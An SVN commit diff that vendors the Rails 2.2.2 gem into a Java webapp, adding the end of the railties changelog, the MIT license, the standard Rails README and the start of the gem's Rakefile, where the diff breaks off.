+* Fixed webrick_server cookie handling to allow multiple cookes to be set at once #800, #813 [dave at cherryville.org]
+
+* Fixed the Rakefile's interaction with postgresql to:
+
+    1. Use PGPASSWORD and PGHOST in the environment to fix prompting for 
+       passwords when connecting to a remote db and local socket connections. 
+    2. Add a '-x' flag to pg_dump which stops it dumping privileges #807 [rasputnik]
+    3. Quote the user name and use template0 when dumping so the functions doesn't get dumped too #855 [pburleson]
+    4. Use the port if available #875 [madrobby]
+
+* Upgraded to Active Record 1.9.0, Action Pack 1.6.0, Action Mailer 0.8.0, Action Web Service 0.6.1, Active Support 1.0.2
+
+
+*0.10.1* (7th March, 2005)
+
+* Fixed rake stats to ignore editor backup files like model.rb~ #791 [skanthak]
+
+* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 [Tobias Luetke]
+
+* Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence)
+
+* Fixed that scaffold generator new template should use local variable instead of instance variable #778 [Dan Peterson]
+
+* Allow unit tests to run on a remote server for PostgreSQL #781 [adamm at galacticasoftware.com]
+
+* Added web_service generator (run ./script/generate web_service for help) #776 [Leon Bredt]
+
+* Added app/apis and components to code statistics report #729 [Scott Barron]
+
+* Fixed WEBrick server to use ABSOLUTE_RAILS_ROOT instead of working_directory #687 [Nicholas Seckar]
+
+* Fixed rails_generator to be usable without RubyGems #686 [Cristi BALAN]
+
+* Fixed -h/--help for generate and destroy generators #331
+
+* Added begin/rescue around the FCGI dispatcher so no uncaught exceptions can bubble up to kill the process (logs to log/fastcgi.crash.log)
+
+* Fixed that association#count would produce invalid sql when called sequentialy #659 [kanis at comcard.de]
+
+* Fixed test/mocks/testing to the correct test/mocks/test #740
+
+* Added early failure if the Ruby version isn't 1.8.2 or above #735
+
+* Removed the obsolete -i/--index option from the WEBrick servlet #743
+
+* Upgraded to Active Record 1.8.0, Action Pack 1.5.1, Action Mailer 0.7.1, Action Web Service 0.6.0, Active Support 1.0.1
+
+
+*0.10.0* (24th February, 2005)
+
+* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 [Marcel]
+
+* Fixed that script/server -d was broken so daemon mode couldn't be used #687 [Nicholas Seckar]
+
+* Upgraded to breakpoint 92 which fixes:
+
+    * overload IRB.parse_opts(), fixes #443
+      => breakpoints in tests work even when running them via rake
+    * untaint handlers, might fix an issue discussed on the Rails ML
+    * added verbose mode to breakpoint_client
+    * less noise caused by breakpoint_client by default
+    * ignored TerminateLineInput exception in signal handler
+      => quiet exit on Ctrl-C
+
+* Added support for independent components residing in /components. Example:
+
+    Controller: components/list/items_controller.rb
+    (holds a List::ItemsController class with uses_component_template_root called)
+    
+    Model     : components/list/item.rb
+    (namespace is still shared, so an Item model in app/models will take precedence)
+    
+    Views     : components/list/items/show.rhtml
+
+
+* Added --sandbox option to script/console that'll roll back all changes made to the database when you quit #672 [Jeremy Kemper]
+
+* Added 'recent' as a rake target that'll run tests for files that changed in the last 10 minutes #612 [Jeremy Kemper]
+
+* Changed script/console to default to development environment and drop --no-inspect #650 [Jeremy Kemper]
+
+* Added that the 'fixture :posts' syntax can be used for has_and_belongs_to_many fixtures where a model doesn't exist #572 [Jeremy Kemper]
+
+* Added that running test_units and test_functional now performs the clone_structure_to_test as well #566 [rasputnik]
+
+* Added new generator framework that informs about its doings on generation and enables updating and destruction of generated artifacts. See the new script/destroy and script/update for more details #487 [Jeremy Kemper]
+
+* Added Action Web Service as a new add-on framework for Action Pack [Leon Bredt]
+
+* Added Active Support as an independent utility and standard library extension bundle
+
+* Upgraded to Active Record 1.7.0, Action Pack 1.5.0, Action Mailer 0.7.0
+
+
+*0.9.5* (January 25th, 2005)
+
+* Fixed dependency reloading by switching to a remove_const approach where all Active Records, Active Record Observers, and Action Controllers are reloading by undefining their classes. This enables you to remove methods in all three types and see the change reflected immediately and it fixes #539. This also means that only those three types of classes will benefit from the const_missing and reloading approach. If you want other classes (like some in lib/) to reload, you must use require_dependency to do it.
+
+* Added Florian Gross' latest version of Breakpointer and friends that fixes a variaty of bugs #441 [Florian Gross]
+
+* Fixed skeleton Rakefile to work with sqlite3 out of the box #521 [rasputnik]
+
+* Fixed that script/breakpointer didn't get the Ruby path rewritten as the other scripts #523 [brandt at kurowski.net]
+
+* Fixed handling of syntax errors in models that had already been succesfully required once in the current interpreter
+
+* Fixed that models that weren't referenced in associations weren't being reloaded in the development mode by reinstating the reload
+
+* Fixed that generate scaffold would produce bad functional tests
+
+* Fixed that FCGI can also display SyntaxErrors
+
+* Upgraded to Active Record 1.6.0, Action Pack 1.4.0
+
+
+*0.9.4.1* (January 18th, 2005)
+
+* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 [Marcel Molina]
+
+* Fixed binding of caller #496 [Alexey]
+
+* Upgraded to Active Record 1.5.1, Action Pack 1.3.1, Action Mailer 0.6.1
+
+
+*0.9.4* (January 17th, 2005)
+
+* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller [Tobias Luetke]
+
+* Flipped code-to-test ratio around to be more readable #468 [Scott Baron]
+
+* Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 [Lucas Carlson]
+
+* Fixed that auto reloading would some times not work or would reload the models twice #475 [Tobias Luetke]
+
+* Added rewrite rules to deal with caching to public/.htaccess
+
+* Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model.
+
+* Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from
+  RAILS_ENV instead of just forcing development #424 [Tobias Luetke]
+
+* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 [octopod]
+
+* Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby
+
+* Removed Fancy Indexing as a default option on the WEBrick servlet as it made it harder to use various caching schemes
+
+* Upgraded to Active Record 1.5, Action Pack 1.3, Action Mailer 0.6
+
+
+*0.9.3* (January 4th, 2005)
+
+* Added support for SQLite in the auto-dumping/importing of schemas for development -> test #416
+
+* Added automated rewriting of the shebang lines on installs through the gem rails command #379 [Manfred Stienstra]
+
+* Added ActionMailer::Base.deliver_method = :test to the test environment so that mail objects are available in ActionMailer::Base.deliveries
+  for functional testing.
+
+* Added protection for creating a model through the generators with a name of an existing class, like Thread or Date.
+  It'll even offer you a synonym using wordnet.princeton.edu as a look-up. No, I'm not kidding :) [Florian Gross]
+
+* Fixed dependency management to happen in a unified fashion for Active Record and Action Pack using the new Dependencies module. This means that
+  the environment options needs to change from:
+  
+    Before in development.rb:
+      ActionController::Base.reload_dependencies = true  
+      ActiveRecord::Base.reload_associations     = true
+    
+    Now in development.rb:
+      Dependencies.mechanism = :load
+
+    Before in production.rb and test.rb:
+      ActionController::Base.reload_dependencies = false
+      ActiveRecord::Base.reload_associations     = false
+
+    Now in production.rb and test.rb:
+      Dependencies.mechanism = :require
+
+* Fixed problems with dependency caching and controller hierarchies on Ruby 1.8.2 in development mode #351
+
+* Fixed that generated action_mailers doesnt need to require the action_mailer since thats already done in the environment #382 [Lucas Carlson]
+
+* Upgraded to Action Pack 1.2.0 and Active Record 1.4.0
+
+
+*0.9.2*
+
+* Fixed CTRL-C exists from the Breakpointer to be a clean affair without error dumping [Kent Sibilev]
+
+* Fixed "rake stats" to work with sub-directories in models and controllers and to report the code to test ration [Scott Baron]
+
+* Added that Active Record associations are now reloaded instead of cleared to work with the new const_missing hook in Active Record.
+
+* Added graceful handling of an inaccessible log file by redirecting output to STDERR with a warning #330 [rainmkr]
+
+* Added support for a -h/--help parameter in the generator #331 [Ulysses]
+
+* Fixed that File.expand_path in config/environment.rb would fail when dealing with symlinked public directories [mjobin]
+
+* Upgraded to Action Pack 1.1.0 and Active Record 1.3.0
+
+
+*0.9.1*
+
+* Upgraded to Action Pack 1.0.1 for important bug fix
+
+* Updated gem dependencies
+
+
+*0.9.0*
+
+* Renamed public/dispatch.servlet to script/server -- it wasn't really dispatching anyway as its delegating calls to public/dispatch.rb
+
+* Renamed AbstractApplicationController and abstract_application.rb to ApplicationController and application.rb, so that it will be possible
+  for the framework to automatically pick up on app/views/layouts/application.rhtml and app/helpers/application.rb
+
+* Added script/console that makes it even easier to start an IRB session for interacting with the domain model. Run with no-args to
+  see help.
+
+* Added breakpoint support through the script/breakpointer client. This means that you can break out of execution at any point in
+  the code, investigate and change the model, AND then resume execution! Example:
+  
+    class WeblogController < ActionController::Base
+      def index
+        @posts = Post.find_all
+        breakpoint "Breaking out from the list"
+      end
+    end
+    
+  So the controller will accept the action, run the first line, then present you with a IRB prompt in the breakpointer window. 
+  Here you can do things like:
+  
+  Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint'
+
+    >> @posts.inspect
+    => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>, 
+         #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]"
+    >> @posts.first.title = "hello from a breakpoint"
+    => "hello from a breakpoint"
+
+  ...and even better is that you can examine how your runtime objects actually work:
+
+    >> f = @posts.first 
+    => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
+    >> f.
+    Display all 152 possibilities? (y or n)
+  
+  Finally, when you're ready to resume execution, you press CTRL-D
+
+* Changed environments to be configurable through an environment variable. By default, the environment is "development", but you
+  can change that and set your own by configuring the Apache vhost with a string like (mod_env must be available on the server):
+  
+    SetEnv RAILS_ENV production
+  
+  ...if you're using WEBrick, you can pick the environment to use with the command-line parameters -e/--environment, like this:
+  
+    ruby public/dispatcher.servlet -e production
+
+* Added a new default environment called "development", which leaves the production environment to be tuned exclusively for that.
+
+* Added a start_server in the root of the Rails application to make it even easier to get started
+
+* Fixed public/.htaccess to use RewriteBase and share the same rewrite rules for all the dispatch methods
+
+* Fixed webrick_server to handle requests in a serialized manner (the Rails reloading infrastructure is not thread-safe)
+
+* Added support for controllers in directories. So you can have:
+
+    app/controllers/account_controller.rb        # URL: /account/
+    app/controllers/admin/account_controller.rb  # URL: /admin/account/
+  
+  NOTE: You need to update your public/.htaccess with the new rules to pick it up
+
+* Added reloading for associations and dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use 
+  those environments for development. This is turned on by default, but can be turned off with 
+  ActiveRecord::Base.reload_associations = false and ActionController::Base.reload_dependencies = false in production environments.
+
+* Added support for sub-directories in app/models. So now you can have something like Basecamp with:
+
+    app/models/accounting
+    app/models/project
+    app/models/participants
+    app/models/settings
+  
+  It's poor man's namespacing, but only for file-system organization. You still require files just like before.
+  Nothing changes inside the files themselves.
+
+
+* Fixed a few references in the tests generated by new_mailer [Jeremy Kemper]
+
+* Added support for mocks in testing with test/mocks
+
+* Cleaned up the environments a bit and added global constant RAILS_ROOT
+
+
+*0.8.5* (9)
+
+* Made dev-util available to all tests, so you can insert breakpoints in any test case to get an IRB prompt at that point [Jeremy Kemper]:
+
+    def test_complex_stuff
+      @david.projects << @new_project
+      breakpoint "Let's have a closer look at @david"
+    end
+  
+  You need to install dev-utils yourself for this to work ("gem install dev-util").
+
+* Added shared generator behavior so future upgrades should be possible without manually copying over files [Jeremy Kemper]
+
+* Added the new helper style to both controller and helper templates [Jeremy Kemper]
+
+* Added new_crud generator for creating a model and controller at the same time with explicit scaffolding [Jeremy Kemper]
+
+* Added configuration of Test::Unit::TestCase.fixture_path to test_helper to concide with the new AR fixtures style
+
+* Fixed that new_model was generating singular table/fixture names
+
+* Upgraded to Action Mailer 0.4.0
+
+* Upgraded to Action Pack 0.9.5
+
+* Upgraded to Active Record 1.1.0
+
+
+*0.8.0 (15)*
+
+* Removed custom_table_name option for new_model now that the Inflector is as powerful as it is
+
+* Changed the default rake action to just do testing and separate API generation and coding statistics into a "doc" task.
+
+* Fixed WEBrick dispatcher to handle missing slashes in the URLs gracefully [alexey]
+
+* Added user option for all postgresql tool calls in the rakefile [elvstone]
+
+* Fixed problem with running "ruby public/dispatch.servlet" instead of "cd public; ruby dispatch.servlet" [alexey]
+
+* Fixed WEBrick server so that it no longer hardcodes the ruby interpreter used to "ruby" but will get the one used based
+  on the Ruby runtime configuration. [Marcel Molina Jr.]
+
+* Fixed Dispatcher so it'll route requests to magic_beans to MagicBeansController/magic_beans_controller.rb [Caio Chassot]
+
+* "new_controller MagicBeans" and "new_model SubscriptionPayments" will now both behave properly as they use the new Inflector.
+
+* Fixed problem with MySQL foreign key constraint checks in Rake :clone_production_structure_to_test target [Andreas Schwarz]
+
+* Changed WEBrick server to by default be auto-reloading, which is slower but makes source changes instant.
+  Class compilation cache can be turned on with "-c" or "--cache-classes".
+
+* Added "-b/--binding" option to WEBrick dispatcher to bind the server to a specific IP address (default: 127.0.0.1) [Kevin Temp]
+
+* dispatch.fcgi now DOESN'T set FCGI_PURE_RUBY as it was slowing things down for now reason [Andreas Schwarz]
+
+* Added new_mailer generator to work with Action Mailer
+
+* Included new framework: Action Mailer 0.3
+
+* Upgraded to Action Pack 0.9.0
+
+* Upgraded to Active Record 1.0.0
+
+
+*0.7.0*
+
+* Added an optional second argument to the new_model script that allows the programmer to specify the table name, 
+  which will used to generate a custom table_name method in the model and will also be used in the creation of fixtures.
+  [Kevin Radloff]
+
+* script/new_model now turns AccountHolder into account_holder instead of accountholder [Kevin Radloff]
+
+* Fixed the faulty handleing of static files with WEBrick [Andreas Schwarz]
+
+* Unified function_test_helper and unit_test_helper into test_helper
+
+* Fixed bug with the automated production => test database dropping on PostgreSQL [dhawkins]
+
+* create_fixtures in both the functional and unit test helper now turns off the log during fixture generation
+  and can generate more than one fixture at a time. Which makes it possible for assignments like:
+  
+    @people, @projects, @project_access, @companies, @accounts = 
+      create_fixtures "people", "projects", "project_access", "companies", "accounts"
+
+* Upgraded to Action Pack 0.8.5 (locally-scoped variables, partials, advanced send_file)
+
+* Upgraded to Active Record 0.9.5 (better table_name guessing, cloning, find_all_in_collection)
+
+
+*0.6.5*
+
+* No longer specifies a template for rdoc, so it'll use whatever is default (you can change it in the rakefile)
+
+* The new_model generator will now use the same rules for plural wordings as Active Record 
+  (so Category will give categories, not categorys) [Kevin Radloff]
+
+* dispatch.fcgi now sets FCGI_PURE_RUBY to true to ensure that it's the Ruby version that's loaded [danp]
+
+* Made the GEM work with Windows
+
+* Fixed bug where mod_ruby would "forget" the load paths added when switching between controllers
+
+* PostgreSQL are now supported for the automated production => test database dropping [Kevin Radloff]
+
+* Errors thrown by the dispatcher are now properly handled in FCGI.
+
+* Upgraded to Action Pack 0.8.0 (lots and lots and lots of fixes)
+
+* Upgraded to Active Record 0.9.4 (a bunch of fixes)
+
+
+*0.6.0*
+
+* Added AbstractionApplicationController as a superclass for all controllers generated. This class can be used
+  to carry filters and methods that are to be shared by all. It has an accompanying ApplicationHelper that all
+  controllers will also automatically have available.
+
+* Added environments that can be included from any script to get the full Active Record and Action Controller
+  context running. This can be used by maintenance scripts or to interact with the model through IRB. Example:
+  
+    require 'config/environments/production'
+    
+    for account in Account.find_all
+      account.recalculate_interests
+    end
+  
+  A short migration script for an account model that had it's interest calculation strategy changed.
+
+* Accessing the index of a controller with "/weblog" will now redirect to "/weblog/" (only on Apache, not WEBrick)
+
+* Simplified the default Apache config so even remote requests are served off CGI as a default.
+  You'll now have to do something specific to activate mod_ruby and FCGI (like using the force urls).
+  This should make it easier for new comers that start on an external server.
+
+* Added more of the necessary Apache options to .htaccess to make it easier to setup
+
+* Upgraded to Action Pack 0.7.9 (lots of fixes)
+
+* Upgraded to Active Record 0.9.3 (lots of fixes)
+
+
+*0.5.7*
+
+* Fixed bug in the WEBrick dispatcher that prevented it from getting parameters from the URL
+  (through GET requests or otherwise)
+
+* Added lib in root as a place to store app specific libraries
+
+* Added lib and vendor to load_path, so anything store within can be loaded directly. 
+  Hence lib/redcloth.rb can be loaded with require "redcloth"
+
+* Upgraded to Action Pack 0.7.8 (lots of fixes)
+
+* Upgraded to Active Record 0.9.2 (minor upgrade)
+
+
+*0.5.6*
+
+* Upgraded to Action Pack 0.7.7 (multipart form fix)
+
+* Updated the generated template stubs to valid XHTML files
+
+* Ensure that controllers generated are capitalized, so "new_controller TodoLists" 
+  gives the same as "new_controller Todolists" and "new_controller todolists".
+
+
+*0.5.5*
+
+* Works on Windows out of the box! (Dropped symlinks)
+
+* Added webrick dispatcher: Try "ruby public/dispatch.servlet --help" [Florian Gross]
+
+* Report errors about initialization to browser (instead of attempting to use uninitialized logger)
+
+* Upgraded to Action Pack 0.7.6
+
+* Upgraded to Active Record 0.9.1
+
+* Added distinct 500.html instead of reusing 404.html
+
+* Added MIT license
+
+
+*0.5.0*
+
+* First public release

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/MIT-LICENSE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/MIT-LICENSE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/MIT-LICENSE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+Copyright (c) 2004-2008 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/README
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/README	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/README	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,256 @@
+== Welcome to Rails
+
+Rails is a web-application framework that includes everything needed to create 
+database-backed web applications according to the Model-View-Control pattern. 
+
+This pattern splits the view (also called the presentation) into "dumb" templates
+that are primarily responsible for inserting pre-built data in between HTML tags.
+The model contains the "smart" domain objects (such as Account, Product, Person,
+Post) that holds all the business logic and knows how to persist themselves to
+a database. The controller handles the incoming requests (such as Save New Account,
+Update Product, Show Post) by manipulating the model and directing data to the view.
+
+In Rails, the model is handled by what's called an object-relational mapping
+layer entitled Active Record. This layer allows you to present the data from
+database rows as objects and embellish these data objects with business logic
+methods. You can read more about Active Record in
+link:files/vendor/rails/activerecord/README.html.
+
+The controller and view are handled by the Action Pack, which handles both
+layers by its two parts: Action View and Action Controller. These two layers
+are bundled in a single package due to their heavy interdependence. This is
+unlike the relationship between the Active Record and Action Pack that is much
+more separate. Each of these packages can be used independently outside of
+Rails.  You can read more about Action Pack in
+link:files/vendor/rails/actionpack/README.html.
+
+
+== Getting Started
+
+1. At the command prompt, start a new Rails application using the <tt>rails</tt> command
+   and your application name. Ex: rails myapp
+2. Change directory into myapp and start the web server: <tt>script/server</tt> (run with --help for options)
+3. Go to http://localhost:3000/ and get "Welcome aboard: You're riding the Rails!"
+4. Follow the guidelines to start developing your application
+
+
+== Web Servers
+
+By default, Rails will try to use Mongrel and lighttpd if they are installed, otherwise
+Rails will use WEBrick, the webserver that ships with Ruby. When you run script/server,
+Rails will check if Mongrel exists, then lighttpd and finally fall back to WEBrick. This ensures
+that you can always get up and running quickly.
+
+Mongrel is a Ruby-based webserver with a C component (which requires compilation) that is
+suitable for development and deployment of Rails applications. If you have Ruby Gems installed,
+getting up and running with mongrel is as easy as: <tt>gem install mongrel</tt>.
+More info at: http://mongrel.rubyforge.org
+
+If Mongrel is not installed, Rails will look for lighttpd. It's considerably faster than
+Mongrel and WEBrick and also suited for production use, but requires additional
+installation and currently only works well on OS X/Unix (Windows users are encouraged
+to start with Mongrel). We recommend version 1.4.11 and higher. You can download it from
+http://www.lighttpd.net.
+
+And finally, if neither Mongrel or lighttpd are installed, Rails will use the built-in Ruby
+web server, WEBrick. WEBrick is a small Ruby web server suitable for development, but not
+for production.
+
+But of course its also possible to run Rails on any platform that supports FCGI.
+Apache, LiteSpeed, IIS are just a few. For more information on FCGI,
+please visit: http://wiki.rubyonrails.com/rails/pages/FastCGI
+
+
+== Apache .htaccess example
+
+# General Apache options
+AddHandler fastcgi-script .fcgi
+AddHandler cgi-script .cgi
+Options +FollowSymLinks +ExecCGI
+
+# If you don't want Rails to look in certain directories,
+# use the following rewrite rules so that Apache won't rewrite certain requests
+# 
+# Example:
+#   RewriteCond %{REQUEST_URI} ^/notrails.*
+#   RewriteRule .* - [L]
+
+# Redirect all requests not available on the filesystem to Rails
+# By default the cgi dispatcher is used which is very slow
+# 
+# For better performance replace the dispatcher with the fastcgi one
+#
+# Example:
+#   RewriteRule ^(.*)$ dispatch.fcgi [QSA,L]
+RewriteEngine On
+
+# If your Rails application is accessed via an Alias directive,
+# then you MUST also set the RewriteBase in this htaccess file.
+#
+# Example:
+#   Alias /myrailsapp /path/to/myrailsapp/public
+#   RewriteBase /myrailsapp
+
+RewriteRule ^$ index.html [QSA]
+RewriteRule ^([^.]+)$ $1.html [QSA]
+RewriteCond %{REQUEST_FILENAME} !-f
+RewriteRule ^(.*)$ dispatch.cgi [QSA,L]
+
+# In case Rails experiences terminal errors
+# Instead of displaying this message you can supply a file here which will be rendered instead
+# 
+# Example:
+#   ErrorDocument 500 /500.html
+
+ErrorDocument 500 "<h2>Application error</h2>Rails application failed to start properly"
+
+
+== Debugging Rails
+
+Sometimes your application goes wrong.  Fortunately there are a lot of tools that
+will help you debug it and get it back on the rails.
+
+First area to check is the application log files.  Have "tail -f" commands running
+on the server.log and development.log. Rails will automatically display debugging
+and runtime information to these files. Debugging info will also be shown in the
+browser on requests from 127.0.0.1.
+
+You can also log your own messages directly into the log file from your code using
+the Ruby logger class from inside your controllers. Example:
+
+  class WeblogController < ActionController::Base
+    def destroy
+      @weblog = Weblog.find(params[:id])
+      @weblog.destroy
+      logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!")
+    end
+  end
+
+The result will be a message in your log file along the lines of:
+
+  Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1
+
+More information on how to use the logger is at http://www.ruby-doc.org/core/
+
+Also, Ruby documentation can be found at http://www.ruby-lang.org/ including:
+
+* The Learning Ruby (Pickaxe) Book: http://www.ruby-doc.org/docs/ProgrammingRuby/
+* Learn to Program: http://pine.fm/LearnToProgram/  (a beginners guide)
+
+These two online (and free) books will bring you up to speed on the Ruby language
+and also on programming in general.
+
+
+== Debugger
+
+Debugger support is available through the debugger command when you start your Mongrel or
+Webrick server with --debugger. This means that you can break out of execution at any point
+in the code, investigate and change the model, AND then resume execution! 
+You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'
+Example:
+
+  class WeblogController < ActionController::Base
+    def index
+      @posts = Post.find(:all)
+      debugger
+    end
+  end
+
+So the controller will accept the action, run the first line, then present you
+with a IRB prompt in the server window. Here you can do things like:
+
+  >> @posts.inspect
+  => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>,
+       #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]"
+  >> @posts.first.title = "hello from a debugger"
+  => "hello from a debugger"
+
+...and even better is that you can examine how your runtime objects actually work:
+
+  >> f = @posts.first
+  => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
+  >> f.
+  Display all 152 possibilities? (y or n)
+
+Finally, when you're ready to resume execution, you enter "cont"
+
+
+== Console
+
+You can interact with the domain model by starting the console through <tt>script/console</tt>.
+Here you'll have all parts of the application configured, just like it is when the
+application is running. You can inspect domain models, change values, and save to the
+database. Starting the script without arguments will launch it in the development environment.
+Passing an argument will specify a different environment, like <tt>script/console production</tt>.
+
+To reload your controllers and models after launching the console run <tt>reload!</tt>
+
+== dbconsole
+
+You can go to the command line of your database directly through <tt>script/dbconsole</tt>.
+You would be connected to the database with the credentials defined in database.yml.
+Starting the script without arguments will connect you to the development database. Passing an
+argument will connect you to a different database, like <tt>script/dbconsole production</tt>.
+Currently works for mysql, postgresql and sqlite.
+
+== Description of Contents
+
+app
+  Holds all the code that's specific to this particular application.
+
+app/controllers
+  Holds controllers that should be named like weblogs_controller.rb for
+  automated URL mapping. All controllers should descend from ApplicationController
+  which itself descends from ActionController::Base.
+
+app/models
+  Holds models that should be named like post.rb.
+  Most models will descend from ActiveRecord::Base.
+
+app/views
+  Holds the template files for the view that should be named like
+  weblogs/index.html.erb for the WeblogsController#index action. All views use eRuby
+  syntax.
+
+app/views/layouts
+  Holds the template files for layouts to be used with views. This models the common
+  header/footer method of wrapping views. In your views, define a layout using the
+  <tt>layout :default</tt> and create a file named default.html.erb. Inside default.html.erb,
+  call <% yield %> to render the view using this layout.
+
+app/helpers
+  Holds view helpers that should be named like weblogs_helper.rb. These are generated
+  for you automatically when using script/generate for controllers. Helpers can be used to
+  wrap functionality for your views into methods.
+
+config
+  Configuration files for the Rails environment, the routing map, the database, and other dependencies.
+
+db
+  Contains the database schema in schema.rb.  db/migrate contains all
+  the sequence of Migrations for your schema.
+
+doc
+  This directory is where your application documentation will be stored when generated
+  using <tt>rake doc:app</tt>
+
+lib
+  Application specific libraries. Basically, any kind of custom code that doesn't
+  belong under controllers, models, or helpers. This directory is in the load path.
+
+public
+  The directory available for the web server. Contains subdirectories for images, stylesheets,
+  and javascripts. Also contains the dispatchers and the default HTML files. This should be
+  set as the DOCUMENT_ROOT of your web server.
+
+script
+  Helper scripts for automation and generation.
+
+test
+  Unit and functional tests along with fixtures. When using the script/generate scripts, template
+  test files will be generated for you and placed in this directory.
+
+vendor
+  External libraries that the application depends on. Also includes the plugins subdirectory.
+  If the app has frozen rails, those gems also go here, under vendor/rails/.
+  This directory is in the load path.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,411 @@
+require 'rake'
+require 'rake/testtask'
+require 'rake/rdoctask'
+require 'rake/gempackagetask'
+require 'rake/contrib/rubyforgepublisher'
+
+require 'date'
+require 'rbconfig'
+
+require File.join(File.dirname(__FILE__), 'lib/rails', 'version')
+
+PKG_BUILD       = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
+PKG_NAME        = 'rails'
+PKG_VERSION     = Rails::VERSION::STRING + PKG_BUILD
+PKG_FILE_NAME   = "#{PKG_NAME}-#{PKG_VERSION}"
+PKG_DESTINATION = ENV["RAILS_PKG_DESTINATION"] || "../#{PKG_NAME}"
+
+RELEASE_NAME  = "REL #{PKG_VERSION}"
+
+RUBY_FORGE_PROJECT = "rails"
+RUBY_FORGE_USER    = "webster132"
+
+
+task :default => :test
+
+## This is required until the regular test task
+## below passes.  It's not ideal, but at least
+## we can see the failures
+task :test do 
+  Dir['test/**/*_test.rb'].all? do |file|
+    system("ruby -Itest #{file}")
+  end or raise "Failures"
+end
+
+Rake::TestTask.new("regular_test") do |t|
+  t.libs << 'test'
+  t.pattern = 'test/**/*_test.rb'
+  t.warning = true
+  t.verbose = true
+end
+
+
+BASE_DIRS = %w( 
+  app
+  config/environments
+  config/initializers
+  config/locales
+  components
+  db
+  doc
+  log
+  lib
+  lib/tasks
+  public
+  script
+  script/performance
+  script/process
+  test
+  vendor
+  vendor/plugins
+  tmp/sessions
+  tmp/cache
+  tmp/sockets
+  tmp/pids
+)
+
+APP_DIRS    = %w( models controllers helpers views views/layouts )
+PUBLIC_DIRS = %w( images javascripts stylesheets )
+TEST_DIRS   = %w( fixtures unit functional mocks mocks/development mocks/test )
+
+LOG_FILES    = %w( server.log development.log test.log production.log )
+HTML_FILES   = %w( 422.html 404.html 500.html index.html robots.txt favicon.ico images/rails.png
+                   javascripts/prototype.js javascripts/application.js
+                   javascripts/effects.js javascripts/dragdrop.js javascripts/controls.js )
+BIN_FILES    = %w( about console destroy generate performance/benchmarker performance/profiler process/reaper process/spawner process/inspector runner server plugin )
+
+VENDOR_LIBS = %w( actionpack activerecord actionmailer activesupport activeresource railties )
+
+
+desc "Generates a fresh Rails package with documentation"
+task :fresh_rails => [ :clean, :make_dir_structure, :initialize_file_stubs, :copy_vendor_libraries, :copy_ties_content, :generate_documentation ]
+
+desc "Generates a fresh Rails package using GEMs with documentation"
+task :fresh_gem_rails => [ :clean, :make_dir_structure, :initialize_file_stubs, :copy_ties_content, :copy_gem_environment ]
+
+desc "Generates a fresh Rails package without documentation (faster)"
+task :fresh_rails_without_docs => [ :clean, :make_dir_structure, :initialize_file_stubs, :copy_vendor_libraries, :copy_ties_content ]
+
+desc "Generates a fresh Rails package without documentation (faster)"
